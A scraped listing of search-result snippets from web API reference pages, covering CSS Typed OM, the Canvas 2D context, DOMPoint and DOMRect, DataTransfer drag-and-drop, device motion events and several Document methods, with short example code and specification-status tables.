... console.log( height.value ) // 50 console.log( height.unit ) // vmax in this example, we set the margin on our element using the css.px() factory function: myelement.attributestylemap.set('margin', css.px(40)); let currentmargin = myelement.attributestylemap.get('margin'); console.log(currentmargin.value, currentmargin.unit); // 40, 'px' specification specification status comment css object model (cssom)the definition of 'numeric factory functions' in that specification.
CSS.paintWorklet (Static property) - Web APIs
WebAPICSSpaintWorklet
paintworklet is a static, read-only property of the css interface that provides access to the paintworklet, which programmatically generates an image where a css property expects a file.
... <script> if ('paintworklet' in css) { css.paintworklet.addmodule('checkerboard.js'); } </script> specifications specification status comment css painting api level 1the definition of 'paintworklet' in that specification.
CSS.supports() - Web APIs
WebAPICSSsupports
t = css.supports("text-decoration-style", "blink"); result = css.supports("display: flex"); result = css.supports("(--foo: red)"); result = css.supports(`(transform-style: preserve) or (-moz-transform-style: preserve) or (-o-transform-style: preserve) or (-webkit-transform-style: preserve)`); // result is true or false specification specification status comment css conditional rules module level 3the definition of 'css: supports()' in that specification.
... candidate recommendation initial definition.
CSS - Web APIs
WebAPICSS
css.em(3) // cssunitvalue {value: 3, unit: "em"} specifications specification status comment css painting api level 1the definition of 'paintworklet' in that specification.
... candidate recommendation initial definition ...
CSSConditionRule - Web APIs
specifications specification status comment css conditional rules module level 3the definition of 'cssconditionrule' in that specification.
... candidate recommendation initial definition.
CSSCounterStyleRule - Web APIs
specifications specification status comment css counter styles level 3the definition of 'csscounterstylerule' in that specification.
... candidate recommendation initial definition.
CSSMediaRule - Web APIs
specifications specification status comment css conditional rules module level 3the definition of 'cssmediarule' in that specification.
... candidate recommendation make it derived from the cssconditionrule.
CSSNumericValue.to() - Web APIs
typeerror indicates that the passed values cannot be summed.
... examples // prints "0.608542cm" console.log(css.px("23").to("com").tostring()); specifications specification status comment css typed om level 1the definition of 'to' in that specification.
CSSPrimitiveValue.getFloatValue() - Web APIs
css_mm the value is a <length> in millimeters.
... example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("margin-top"); console.log(cssvalue.getfloatvalue(cssprimitivevalue.css_cm)); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getfloatvalue' in that specification.
CSSPrimitiveValue.primitiveType - Web APIs
css_mm the value is a <length> in millimeters.
... example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("color"); console.log(cssvalue.primitivetype); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.primitivetype' in that specification.
CSSPrimitiveValue.setFloatValue() - Web APIs
css_mm the value is a <length> in millimeters.
... specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.setfloatvalue' in that specification.
CSSPrimitiveValue - Web APIs
css_mm the value is a <length> in millimeters.
... specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue' in that specification.
CSSStyleValue.parse() - Web APIs
csstext a comma-separated string containing one or more values to apply to the provided property.
... const css = cssstylevalue.parse( 'transform', 'translate3d(10px,10px,0) scale(0.5)'); csstransformvalue {0: csstranslate, 1: cssscale, length: 2, is2d: false} specifications specification status comment css typed om level 1the definition of 'parse()' in that specification.
CSSStyleValue.parseAll() - Web APIs
csstext a comma-separated string containing one or more values that apply to the provided property.
... specifications specification status comment css typed om level 1the definition of 'parseall()' in that specification.
CSSSupportsRule - Web APIs
specification specification status comment css conditional rules module level 3the definition of 'csssupportsrule' in that specification.
... candidate recommendation initial definition ...
Using the CSS Painting API - Web APIs
the css paint api is designed to enable developers to programmatically define images which can then be used anywhere a css image can be invoked, such as css background-image, border-image, mask-image, etc.
... to programmatically create an image used by a css stylesheet we need to work through a few steps: define a paint worklet using the registerpaint() function register the worklet include the paint() css function to elaborate over these steps, we're going to start by creating a half-highlight background, like on this header: css paint worklet in an external script file, we employ the registerpaint() function to name our css paint worklet.
CanvasPattern - Web APIs
canvaspattern.settransform() applies an svgmatrix or dommatrix representing a linear transform to the pattern.
... specifications specification status comment html living standardthe definition of 'canvaspattern' in that specification.
CanvasRenderingContext2D.clearRect() - Web APIs
this is commonly required at the start of each frame in an animation.
...// draw yellow background ctx.beginpath(); ctx.fillstyle = '#ff6'; ctx.fillrect(0, 0, canvas.width, canvas.height); // draw blue triangle ctx.beginpath(); ctx.fillstyle = 'blue'; ctx.moveto(20, 20); ctx.lineto(180, 20); ctx.lineto(130, 130); ctx.closepath(); ctx.fill(); // clear part of the canvas ctx.clearrect(10, 10, 120, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.clearrect' in that specification.
CanvasRenderingContext2D.currentTransform - Web APIs
the canvasrenderingcontext2d.currenttransform property of the canvas 2d api returns or sets a dommatrix (current specification) or svgmatrix (old specification) object for the current transformation matrix.
... syntax ctx.currenttransform [= value]; value a dommatrix or svgmatrix object to use as the current transformation matrix.
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalcompositeoperation = 'xor'; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.globalcompositeoperation' in that specification.
... living standard compositing and blending level 1 candidate recommendation ...
CanvasRenderingContext2D.setLineDash() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // dashed line ctx.beginpath(); ctx.setlinedash([5, 15]); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // solid line ctx.beginpath(); ctx.setlinedash([]); ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result some common patterns this example illustrates a variety of common line dash patterns.
... } const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let y = 15; drawdashedline([]); drawdashedline([1, 1]); drawdashedline([10, 10]); drawdashedline([20, 5]); drawdashedline([15, 3, 3, 3]); drawdashedline([20, 3, 3, 3, 3, 3, 3, 3]); drawdashedline([12, 3, 3]); // equals [12, 3, 3, 12, 3, 3] result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.setlinedash' in that specification.
CanvasRenderingContext2D - Web APIs
this code draws a house: // set line width ctx.linewidth = 10; // wall ctx.strokerect(75, 140, 150, 110); // door ctx.fillrect(130, 190, 40, 60); // roof ctx.beginpath(); ctx.moveto(50, 140); ctx.lineto(150, 60); ctx.lineto(250, 140); ctx.closepath(); ctx.stroke(); the resulting drawing looks like this: reference drawing rectangles there are three methods that immediately draw rectangles to the canvas.
... specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d' in that specification.
Channel Messaging API - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents via a sharedworker, or two workers) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
... specifications specification status comment html living standardthe definition of 'channel messaging' in that specification.
ChildNode - Web APIs
WebAPIChildNode
the childnode mixin contains methods and properties that are common to all types of node objects that can have a parent.
... specifications specification status comment domthe definition of 'childnode' in that specification.
Clients.claim() - Web APIs
WebAPIClientsclaim
the claim() method causes those pages to be controlled immediately.
... self.addeventlistener('activate', event => { event.waituntil(clients.claim()); }); specifications specification status comment service workersthe definition of 'claim()' in that specification.
Clipboard - Web APIs
WebAPIClipboard
the clipboard is a data buffer that is used for short-term, data storage and/or data transfers, this can be between documents or applications it is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined programming interfaces.
... specifications specification status comment clipboard api and eventsthe definition of 'clipboard' in that specification.
CompositionEvent.data - Web APIs
for compositionend events, this is the string as committed to the editor.
... specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'data' in that specification.
Console API - Web APIs
by far the most commonly-used method is console.log, which is used to log the current value contained inside a specific variable.
... specifications specification status comment console api living standard initial definition.
ConstrainBoolean - Web APIs
specifications specification status comment media capture and streamsthe definition of 'constrainboolean' in that specification.
... candidate recommendation initial definition technically, constrainboolean is actually based on an intermediary dictionary named constrainbooleanparameters, which adds exact and ideal to the simple boolean type.
ConstrainDOMString - Web APIs
specifications specification status comment media capture and streamsthe definition of 'constraindomstring' in that specification.
... candidate recommendation initial definition technically, constraindomstring is actually based on an intermediary dictionary named constraindomstringparameters, which adds exact and ideal to domstring.
ConstrainDouble - Web APIs
specifications specification status comment media capture and streamsthe definition of 'constraindouble' in that specification.
... candidate recommendation initial definition technically, constraindouble is actually based on an intermediary dictionary named constraindoublerange, which adds exact and ideal to doublerange, with constraindouble being a type that can be either a long integer or a doublerange.
ConstrainULong - Web APIs
specifications specification status comment media capture and streamsthe definition of 'constrainulong' in that specification.
... candidate recommendation initial definition technically, constrainulong is actually based on an intermediary dictionary named constrainulongrange, which adds exact and ideal to ulongrange, with constrainulong being a type that can be either a long integer or a ulongrange.
CrashReportBody - Web APIs
for security reasons, no details of the crash are communicated in the body except for a general crash reason.
... specifications specification status comment reporting apithe definition of 'crashreportbody' in that specification.
CredentialsContainer.create() - Web APIs
specifications specification status comment credential management level 1the definition of 'get()' in that specification.
... web authentication: an api for accessing public key credentials level 1 recommendation initial definition.
CredentialsContainer.get() - Web APIs
specifications specification status comment credential management level 1the definition of 'get()' in that specification.
... web authentication: an api for accessing public key credentials level 1 recommendation initial definition.
CredentialsContainer - Web APIs
examples // tbd specifications specification status comment credential management level 1 working draft initial definition.
... web authentication: an api for accessing public key credentials level 1 recommendation initial definition.
Crypto.subtle - Web APIs
WebAPICryptosubtle
specifications specification status comment web cryptography apithe definition of 'crypto.subtle' in that specification.
... recommendation initial definition.
CustomElementRegistry.whenDefined() - Web APIs
if the custom element is already defined, the promise is resolved immediately.
...await promise.all(promises); container.removechild(placeholder); specifications specification status comment html living standardthe definition of 'customelements.whendefined()' in that specification.
CustomElementRegistry - Web APIs
if such a custom element is already defined, the returned promise is immediately fulfilled.
... specifications specification status comment html living standardthe definition of 'customelementregistry' in that specification.
CustomEvent - Web APIs
event.stopimmediatepropagation() for this particular event, prevent all other listeners from being called.
... specifications specification status comment domthe definition of 'customevent' in that specification.
DOMException() - Web APIs
example tbd specifications specification status comment web idlthe definition of 'domexception()' in that specification.
... candidate recommendation adds the constructor for the domexception class.
DOMException.code - Web APIs
WebAPIDOMExceptioncode
specifications specification status comment web idlthe definition of 'code' in that specification.
... candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
DOMException.message - Web APIs
specifications specification status comment web idlthe definition of 'message' in that specification.
... candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
DOMException.name - Web APIs
WebAPIDOMExceptionname
specifications specification status comment web idlthe definition of 'name' in that specification.
... candidate recommendation ...
DOMPoint.fromPoint() - Web APIs
var center = dompoint.frompoint({x: 75, y: -50, z: -55, w: 0.25}); specifications specification status comment geometry interfaces module level 1the definition of 'frompoint()' in that specification.
... candidate recommendation initial definition ...
DOMPoint.DOMPoint() - Web APIs
WebAPIDOMPointDOMPoint
var windtopleft = new dompoint(window.screenx, window.screeny); var newtopleft = dompoint.frompoint(windtopleft); newtopleft.x += 100; newtopleft.y += 100; specifications specification status comment geometry interfaces module level 1the definition of 'dompoint()' in that specification.
... candidate recommendation initial definition ...
DOMPoint.w - Web APIs
WebAPIDOMPointw
specifications specification status comment geometry interfaces module level 1the definition of 'w' in that specification.
... candidate recommendation initial definition ...
DOMPoint.x - Web APIs
WebAPIDOMPointx
specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
... candidate recommendation initial definition ...
DOMPoint.y - Web APIs
WebAPIDOMPointy
specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
... candidate recommendation initial definition ...
DOMPoint.z - Web APIs
WebAPIDOMPointz
specifications specification status comment geometry interfaces module level 1the definition of 'z' in that specification.
... candidate recommendation initial definition ...
DOMPoint - Web APIs
WebAPIDOMPoint
+ ', z: ' + roundtotwo(position.z)); console.log('xr viewer orientation: {x: ' + roundtotwo(orientation.x) + ', y: ' + roundtotwo(orientation.y) + ', z: ' + roundtotwo(orientation.z) + ', w: ' + roundtotwo(orientation.w)); } } specifications specification status comment geometry interfaces module level 1the definition of 'dompoint' in that specification.
... candidate recommendation ...
DOMPointInit.w - Web APIs
WebAPIDOMPointInitw
specifications specification status comment geometry interfaces module level 1the definition of 'w' in that specification.
... candidate recommendation initial definition ...
DOMPointInit.x - Web APIs
WebAPIDOMPointInitx
specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
... candidate recommendation initial definition ...
DOMPointInit.y - Web APIs
WebAPIDOMPointInity
specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
... candidate recommendation initial definition ...
DOMPointInit.z - Web APIs
WebAPIDOMPointInitz
specifications specification status comment geometry interfaces module level 1the definition of 'z' in that specification.
... candidate recommendation initial definition ...
DOMPointInit - Web APIs
const pointdesc = { x: window.screenx, y: window.screeny, z: 5.0 }; const windtopleft = dompoint.frompoint(pointdesc) specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly.frompoint()' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly() - Web APIs
var point2d = new dompointreadonly(50, 25); var point3d = new dompointreadonly(50, 0, 10); var perspectivepoint3d = new dompointreadonly(50, 50, 25, 0.5); specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.fromPoint() - Web APIs
const origpoint = new dompoint(25, 25, 100, 0.5) const newpoint = dompointreadonly.frompoint(origpoint) specifications specification status comment geometry interfaces module level 1the definition of 'frompoint()' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.toJSON() - Web APIs
var topleft = new dompoint(window.screenx, window.screeny); var pointjson = topleft.tojson(); specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly.tojson()' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.w - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'w' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.x - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.y - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.z - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'z' in that specification.
... candidate recommendation initial definition ...
DOMQuad - Web APIs
WebAPIDOMQuad
specifications specification status comment geometry interfaces module level 1the definition of 'domquad' in that specification.
... candidate recommendation initial definition.
DOMRect.DOMRect() - Web APIs
WebAPIDOMRectDOMRect
examples to create a new domrect, you could run a line of code like so: mydomrect = new domrect(0,0,100,100); // running 'mydomrect' in the console would then return // domrect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 } specifications specification status comment geometry interfaces module level 1the definition of 'domrect()' in that specification.
... candidate recommendation initial definition.
DOMRect - Web APIs
WebAPIDOMRect
specifications specification status comment geometry interfaces module level 1the definition of 'domrect' in that specification.
... candidate recommendation initial definition.
DOMRectReadOnly() - Web APIs
examples to create a new dompoint, you could run a line of code like so: const mydomrect = new domrectreadonly(0, 0, 100, 100) // running 'mydomrect' in the console would then return // domrect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 } specifications specification status comment geometry interfaces module level 1the definition of 'domrectreadonly()' in that specification.
... candidate recommendation initial definition.
DOMRectReadOnly.bottom - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'bottom' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.fromRect() - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'fromrect()' in that specification.
... candidate recommendation initial definition.
DOMRectReadOnly.height - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'height' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.left - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'left' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.right - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'right' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.top - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'top' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.width - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'width' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.x - Web APIs
WebAPIDOMRectReadOnlyx
specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.y - Web APIs
WebAPIDOMRectReadOnlyy
specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
... candidate recommendation latest spec version is an ed.
DOMString - Web APIs
WebAPIDOMString
specifications specification status comment web idlthe definition of 'domstring' in that specification.
... candidate recommendation ...
DOMTimeStamp - Web APIs
specifications specification status comment web idlthe definition of 'domtimestamp' in that specification.
... candidate recommendation initial specification ...
DOMTokenList.replace() - Web APIs
if the first token doesn't exist, replace() returns false immediately, without adding the new token to the token list.
...to use with earlier versions of ie, refer to the polyfill at element.classlist#polyfill domtokenlist.prototype.replace = function (a, b) { if (this.contains(a)) { this.add(b); this.remove(a); return true; } return false; } specifications specification status comment domthe definition of 'replace()' in that specification.
DOMTokenList - Web APIs
first, the html: <p class="a b c"></p> now the javascript: let para = document.queryselector("p"); let classes = para.classlist; para.classlist.add("d"); para.textcontent = `paragraph classlist is "${classes}"`; the output looks like this: trimming of whitespace and removal of duplicates methods that modify the domtokenlist (such as domtokenlist.add()) automatically trim any excess whitespace and remove duplicate values from the list.
... for example: <span class=" d d e f"></span> let span = document.queryselector("span"); let classes = span.classlist; span.classlist.add("x"); span.textcontent = `span classlist is "${classes}"`; the output looks like this: specifications specification status comment domthe definition of 'domtokenlist' in that specification.
DataTransfer.clearData() - Web APIs
plain'); var element = document.getelementbyid(_data); // append drag source element to event's target element event.target.appendchild(element); // change css styles and displayed text element.style.csstext = 'border: 1px solid black;display: block; color: red'; element.innerhtml = "i'm in the drop zone!"; } }) specifications specification status comment html living standardthe definition of 'datatransfer.cleardata()' in that specification.
... recommendation initial definition ...
DataTransfer.dropEffect - Web APIs
atatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } specifications specification status comment html living standardthe definition of 'dropeffect' in that specification.
... recommendation initial definition ...
DataTransfer.effectAllowed - Web APIs
wed</code>} properties</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'effectallowed' in that specification.
... recommendation initial definition ...
DataTransfer.files - Web APIs
example there are two live examples of this interface: firefox only: http://jsfiddle.net/9c2ef/ all browsers: https://jsbin.com/hiqasek/ specifications specification status comment html living standardthe definition of 'files' in that specification.
... recommendation initial definition ...
DataTransfer.getData() - Web APIs
transfer.setdata("text", dragevent.target.id); dragevent.target.style.color = 'green'; } function drop(dropevent) { dropevent.preventdefault(); var data = dropevent.datatransfer.getdata("text"); dropevent.target.appendchild(document.getelementbyid(data)); document.getelementbyid("drag").style.color = 'black'; } result specifications specification status comment html living standardthe definition of 'getdata()' in that specification.
... recommendation initial definition ...
DataTransfer.items - Web APIs
<ul> <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'items' in that specification.
... recommendation initial definition ...
DataTransfer.setData() - Web APIs
ode>cleardata()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'setdata()' in that specification.
... recommendation initial definition ...
DataTransfer.setDragImage() - Web APIs
.setdragimage()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'setdragimage()' in that specification.
... recommendation not included in w3c html5 recommendation ...
DataTransfer.types - Web APIs
<ul> <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'types' in that specification.
... recommendation initial definition ...
DataTransfer - Web APIs
specifications specification status comment html living standardthe definition of 'datatransfer' in that specification.
... recommendation not included in w3c html5 recommendation ...
DataTransferItem.getAsFile() - Web APIs
drop: file "); } } } specifications specification status comment html living standardthe definition of 'getasfile()' in that specification.
... recommendation snapshot of the html whatwg document ...
DataTransferItem.getAsString() - Web APIs
drop: file "); } } } specifications specification status comment html living standardthe definition of 'getasstring()' in that specification.
... recommendation snapshot fo html whatwg document ...
DataTransferItem.kind - Web APIs
drop: file "); } } } specifications specification status comment html living standardthe definition of 'kind' in that specification.
... recommendation w3c snapshot of the whatwg document.
DataTransferItem.type - Web APIs
drop: file "); } } } specifications specification status comment html living standardthe definition of 'type' in that specification.
... recommendation snapshot of the html whatwg document ...
DataTransferItem - Web APIs
specifications specification status comment html living standardthe definition of 'datatransferitem' in that specification.
... recommendation w3c snapshot of whatwg file and directory entries apithe definition of 'datatransferitem.webkitgetasentry()' in that specification.
DataTransferItemList.add() - Web APIs
ventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment html living standardthe definition of 'add()' in that specification.
... recommendation not included in w3c html5 recommendation ...
DataTransferItemList.clear() - Web APIs
ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment html living standardthe definition of 'clear()' in that specification.
... recommendation not included in w3c html5 recommendation ...
DataTransferItemList.length - Web APIs
one and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications specification status comment html living standardthe definition of 'length' in that specification.
... recommendation not included in w3c html5 recommendation ...
DataTransferItemList.remove() - Web APIs
the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } specifications specification status comment html living standardthe definition of 'remove()' in that specification.
... recommendation not included in w3c html5 recommendation ...
DataTransferItemList - Web APIs
specifications specification status comment html living standardthe definition of 'datatransferitemlist' in that specification.
... recommendation not included in w3c html5 recommendation ...
DedicatedWorkerGlobalScope - Web APIs
you can specify as many as you'd like, separated by commas.
... specifications specification status comment html living standardthe definition of 'dedicatedworkerglobalscope' in that specification.
DelayNode.delayTime - Web APIs
if you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time.
... var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.setvalueattime(delay1, audioctx.currenttime); } specifications specification status comment web audio apithe definition of 'delaytime' in that specification.
DelayNode - Web APIs
WebAPIDelayNode
if you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time.
... var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.setvalueattime(delay1, audioctx.currenttime); } specifications specification status comment web audio apithe definition of 'delaynode' in that specification.
Using light sensors - Web APIs
specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
... candidate recommendation initial specification ...
DeviceLightEvent.value - Web APIs
specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
... candidate recommendation initial definition ...
DeviceMotionEvent.rotationRate - Web APIs
gamma the rate at which the device is rotating about its y axis; that is, side to side.
... specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEvent - Web APIs
devicemotionevent.rotationrateread only an object giving the rate of change of the device's orientation on the three orientation axis alpha, beta and gamma.
... example window.addeventlistener('devicemotion', function(event) { console.log(event.acceleration.x + ' m/s2'); }); specifications specification status comment deviceorientation event specificationthe definition of 'devicemotionevent' in that specification.
DeviceMotionEventAcceleration: x - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the x axis in a devicemotioneventacceleration object.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: x' in that specification.
DeviceMotionEventAcceleration: y - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the y axis in a devicemotioneventacceleration object.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: y' in that specification.
DeviceMotionEventAcceleration: z - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the z axis in a devicemotioneventacceleration object.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: z' in that specification.
DeviceMotionEventRotationRate - Web APIs
devicemotioneventrotationrate.gamma read only the amount of rotation around the y axis, in degrees per second.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate' in that specification.
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
gamma: a number representing the motion of the device around the y axis, express in degrees with values ranging from -90 to 90.
... specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceOrientationEvent - Web APIs
deviceorientationevent.gamma read only a number representing the motion of the device around the y axis, express in degrees with values ranging from -90 to 90.
... example window.addeventlistener('deviceorientation', function(event) { console.log(event.alpha + ' : ' + event.beta + ' : ' + event.gamma); }); specifications specification status comment deviceorientation event specification editor's draft initial specification.
DirectoryEntrySync - Web APIs
you cannot create a file whose immediate parent does not exist.
...you cannot create a file whose immediate parent does not exist.
Document.createElement() - Web APIs
} } // define the new element customelements.define('expanding-list', expandinglist, { extends: "ul" }); if we wanted to create an instance of this element programmatically, we'd use a call along the following lines: let expandinglist = document.createelement('ul', { is : 'expanding-list' }) the new element will be given an is attribute whose value is the custom element's tag name.
... specifications specification status comment domthe definition of 'document.createelement' in that specification.
Document.createEvent() - Web APIs
bear in mind that most event objects now have constructors, which are the modern recommended way to create event object instances.
... event module standard event object gecko also supports text event module textevent textevents keyboard event module keyboardevent keyevents basic events module event events specifications specification status comment domthe definition of 'document.createevent' in that specification.
Document.createNSResolver() - Web APIs
see also document.evaluate introduction to using xpath in javascript specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'document.creatensresolver' in that specification.
... recommendation ...
Document.createNodeIterator() - Web APIs
nodefilter.show_comment 128 shows comment nodes.
...nodefilter.filter_accept : nodefilter.filter_reject; } } ); const pars = []; let currentnode; while (currentnode = nodeiterator.nextnode()) { pars.push(currentnode); } specifications specification status comment domthe definition of 'document.createnodeiterator' in that specification.
Document.createTouch() - Web APIs
var target = document.getelementbyid("target"); var touch1 = document.createtouch(window, target, 1, 15, 20, 35, 40); var touch2 = document.createtouch(window, target, 2, 25, 30, 45, 50); specifications specification status comment touch eventsthe definition of 'document.createtouch()' in that specification.
... recommendation initial definition.
Document.createTouchList() - Web APIs
40); var touch2 = document.createtouch(window, target, 2, 25, 30, 45, 50); // create an empty touchlist objects var list0 = document.createtouchlist(); // create a touchlist with only one touch object var list1 = document.createtouchlist(touch1); // create a list with two touch objects var list2 = document.createtouchlist(touch1, touch2); specifications specification status comment touch eventsthe definition of 'document.createtouchlist()' in that specification.
... recommendation initial definition.
Document.createTreeWalker() - Web APIs
nodefilter.show_comment 128 shows comment nodes.
... var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var nodelist = []; var currentnode = treewalker.currentnode; while(currentnode) { nodelist.push(currentnode); currentnode = treewalker.nextnode(); } specifications specification status comment domthe definition of 'document.createtreewalker' in that specification.
Document.defaultView - Web APIs
specifications specification status comment html living standardthe definition of 'document.defaultview' in that specification.
... recommendation initial definition ...
Document: dragexit event - Web APIs
the dragexit event is fired when an element is no longer the drag operation's immediate selection target.
... specifications specification status comment html living standardthe definition of 'dragexit' in that specification.
Document.exitPointerLock() - Web APIs
syntax document.exitpointerlock(); specifications specification status comment pointer lockthe definition of 'document' in that specification.
... candidate recommendation extend the document interface ...
Document.getElementById() - Web APIs
the id attribute is defined to be of id type in the common cases of xhtml, xul, and other.
... specification specification status comment document object model (dom) level 1 specificationthe definition of 'getelementbyid' in that specification.
Document.getElementsByClassName() - Web APIs
here we'll find all div elements that have a class of 'test': var testelements = document.getelementsbyclassname('test'); var testdivs = array.prototype.filter.call(testelements, function(testelement){ return testelement.nodename === 'div'; }); get the first element whose class is 'test' this is the most commonly used method of operation.
